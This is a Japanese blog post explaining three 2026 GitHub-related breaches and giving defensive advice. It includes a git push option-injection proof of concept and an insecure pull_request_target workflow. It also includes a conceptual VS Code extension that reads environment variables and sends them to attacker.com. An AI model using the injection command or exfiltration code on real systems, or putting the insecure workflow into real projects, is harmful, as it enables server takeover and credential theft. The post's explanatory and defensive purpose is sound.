結論から言うと
GitHubの内部ソースコードが流出した。
2026年5月20日、GitHubは従業員のデバイスが「毒入りVS Code拡張機能」によって侵害され、約3,800の内部リポジトリが流出したことを認めた。
攻撃者「TeamPCP」は盗んだソースコードを**$50,000で販売中**。買い手が現れなければ無料公開すると脅迫している。
しかし、これは6週間で3度目のGitHub関連セキュリティ事件だ。何が起きているのか、技術的に解剖する。
6週間で3度の危機:時系列で整理
| 日付 | 事件 | 影響 |
|---|---|---|
| 4月28日 | CVE-2026-3854 | git pushでRCE、数百万リポジトリがアクセス可能に |
| 5月16日 | Grafana Labs侵害 | GitHub Actions経由でコードベース全体が流出 |
| 5月20日 | GitHub内部侵害 | 3,800の内部リポジトリが流出、$50Kで販売中 |
同じインフラで、同じ期間に、3つの異なる攻撃ベクトル。 これは偶然ではない。
事件1:CVE-2026-3854 - git pushでサーバー乗っ取り
発見の経緯
3月4日、Wizの研究者がGitHubの内部プロトコルに致命的な脆弱性を発見した。
攻撃方法: git pushコマンド1つでGitHub.comのバックエンドサーバー上で任意のコードを実行できた。
技術的な詳細
GitHubの内部サービス間通信では、X-Statヘッダーでメタデータを渡している。問題は、セミコロンがフィールド区切り文字として使われていたこと。
# 攻撃コマンド(概念実証)
git push -o "malicious;rails_env=development;custom_hooks_dir=/tmp" origin main
ユーザー入力のpush optionがサニタイズされずにヘッダーに挿入されるため、攻撃者は任意のフィールドを注入できた。
3段階のRCE escalation
1. rails_env注入
→ サンドボックス制限を無効化
2. custom_hooks_dir注入
→ フックスクリプトの場所を制御
3. repo_pre_receive_hooks + パストラバーサル
→ 任意のバイナリを実行
影響範囲
GitHub.comの共有ストレージノード上で、数百万の他ユーザーのリポジトリにファイルシステムレベルでアクセス可能だった。
衝撃: 公開時点で、GitHub Enterprise Serverの88%が未パッチだった。
対応タイムライン
| 日時 | アクション |
|---|---|
| 3月4日 | Wizが発見・報告 |
| 3月4日(6時間後) | GitHub.comで緩和策適用 |
| 3月10日 | CVE割り当て(CVSS 8.7) |
| 4月28日 | 公開開示 |
GitHubは攻撃の痕跡を調査し、実際の悪用は確認されなかったと発表。
事件2:Grafana Labs - GitHub Actionsの「Pwn Request」
攻撃の流れ
5月16日、Grafana Labsは全コードベースが盗まれたことを公表した。
1. 攻撃者がGrafanaリポジトリをフォーク
2. pull_request_target イベントを悪用
→ 外部コントリビューターにトークンアクセスを許可
3. curl + 暗号化でトークンを抽出
4. フォークを削除して痕跡を隠蔽
5. 盗んだトークンで4つの追加リポジトリを複製
技術的な問題点
pull_request_targetはPRの作成者ではなく、ベースリポジトリのコンテキストで実行される。これにより、外部の攻撃者がシークレットにアクセスできてしまう。
# 危険な設定例
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# ↑ 攻撃者のコードを特権コンテキストで実行
攻撃者「CoinbaseCartel」
- 2025年9月に登場したデータ恐喝グループ
- ShinyHunters、Scattered Spider、LAPSUS$の派生と評価
- 身代金を要求するが、Grafanaは支払いを拒否
Grafanaの対応は模範的だった:「身代金を支払ってもデータが戻る保証はない」とFBIガイダンスを引用。
事件3:GitHub内部侵害 - 毒入りVS Code拡張機能
攻撃の概要
5月20日、GitHubは従業員のデバイスが侵害されたことを確認。
毒入りVS Code拡張機能
↓
従業員がインストール
↓
デバイス侵害
↓
内部システムへのアクセス
↓
3,800の内部リポジトリを流出
TeamPCPとは何者か
Google Threat Intelligence GroupはUNC6780として追跡。
| 属性 | 詳細 |
|---|---|
| 動機 | 金銭目的 |
| 専門 | ソフトウェアサプライチェーン攻撃 |
| 過去の攻撃 | Trivy、Checkmarx、LiteLLM |
2026年で最も影響力のあるサプライチェーン攻撃キャンペーンの一つを展開中。
販売と脅迫
TeamPCPの声明:
「$50,000未満のオファーには興味がない。最高額の入札者が獲得する」
「これは身代金ではない。買い手が見つからなければ無料で公開する」
GitHubの対応
- 悪意ある拡張機能をMarketplaceから削除
- 感染デバイスを隔離
- 重要なシークレットをローテーション
- インシデントレスポンス開始
現時点で顧客データへの影響は確認されていないとGitHubは発表。
なぜVS Code拡張機能が危険なのか
信頼モデルの崩壊
VS Code拡張機能は、インストールした瞬間にフルアクセス権限を持つ:
- ファイルシステムへのアクセス
- ネットワーク通信
- 子プロセスの実行
- 環境変数の読み取り
// 悪意ある拡張機能の例(概念)
const vscode = require('vscode');
const { exec } = require('child_process');
function activate(context) {
// 環境変数からトークンを抽出
const tokens = process.env;
// 外部サーバーに送信
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(tokens)
});
// .gitconfigからクレデンシャルを読み取り
const gitconfig = fs.readFileSync('~/.gitconfig');
// ...
}
最近の類似事件
| 拡張機能 | 事件 |
|---|---|
| Nx Console | 侵害されてマルウェア配布 |
| GitHub内部 | 今回の事件の攻撃ベクトル |
開発者が今すぐやるべき5つのこと
1. VS Code拡張機能の監査
# インストール済み拡張機能の一覧
code --list-extensions
# 不要な拡張機能を削除
code --uninstall-extension <extension-id>
確認ポイント:
- 最終更新日が古くないか
- ダウンロード数が極端に少なくないか
- パブリッシャーは信頼できるか
2. GitHub Enterprise Serverのパッチ確認
CVE-2026-3854の対象バージョン:
| ブランチ | パッチ済みバージョン |
|---|---|
| 3.14 | 3.14.25以降 |
| 3.15 | 3.15.20以降 |
| 3.16 | 3.16.16以降 |
| 3.17 | 3.17.13以降 |
| 3.18 | 3.18.8以降 |
| 3.19 | 3.19.4以降 |
3. GitHub Actionsのpull_request_targetを監査
# リポジトリ内の危険な設定を検索
grep -r "pull_request_target" .github/workflows/
安全なパターンに書き換える:
# ❌ 危険
on:
pull_request_target:
# ✅ 安全(外部PRのコードを実行しない)
on:
pull_request:
4. シークレットのローテーション
影響を受けた可能性がある場合:
- Personal Access Tokens
- SSH鍵
- GitHub Apps認証情報
- Actions secrets
5. カナリアトークンの導入
Grafanaはカナリアトークンのおかげで侵害を即座に検知できた。
# 例:canarytoken.orgでトークンを生成
# リポジトリ内に配置して、アクセスがあれば通知
業界への影響
開発者ツールチェーンへの信頼崩壊
3つの事件は、それぞれ異なるレイヤーを攻撃している:
| 事件 | 攻撃レイヤー |
|---|---|
| CVE-2026-3854 | Gitプロトコル |
| Grafana | CI/CD(GitHub Actions) |
| GitHub内部 | IDE拡張機能 |
開発者のワークフロー全体が攻撃対象になっている。
サプライチェーン攻撃の進化
TeamPCPは「サプライチェーン攻撃の専門家」として、以下を標的にしてきた:
- Trivy: 脆弱性スキャナー
- Checkmarx: SASTツール
- LiteLLM: AI/LLMプロキシ(月間9500万DL)
開発者が「信頼して使う」ツールを狙い撃ちにしている。
まとめ:信頼のない時代の開発
6週間で3度のGitHub関連セキュリティ事件。これが意味するのは:
- ゼロトラスト: VS Code拡張機能も、GitHub Actionsも、Gitプロトコルも「信頼しない」
- 最小権限: 必要最小限のアクセス権限だけを付与
- 多層防御: 1つが破られても全体が崩壊しない設計
- 検知能力: カナリアトークン、監査ログ、異常検知
「GitHubにコードを置いているから安全」という時代は終わった。
参考リンク
GitHub Breached — Employee Device Hack Led to Exfiltration of 3,800+ Internal Repos | The Hacker News
GitHub confirms breach of 3,800 repos via malicious VSCode extension | BleepingComputer
GitHub RCE Vulnerability: CVE-2026-3854 Breakdown | Wiz Blog
Grafana GitHub Token Breach Led to Codebase Download and Extortion Attempt | The Hacker News
88% of self-hosted GitHub servers exposed to RCE | Help Net Security
この記事が参考になったら、いいね・ストックをお願いします。
「うちも影響受けた」「対策済み」など、コメントで情報共有をお願いします。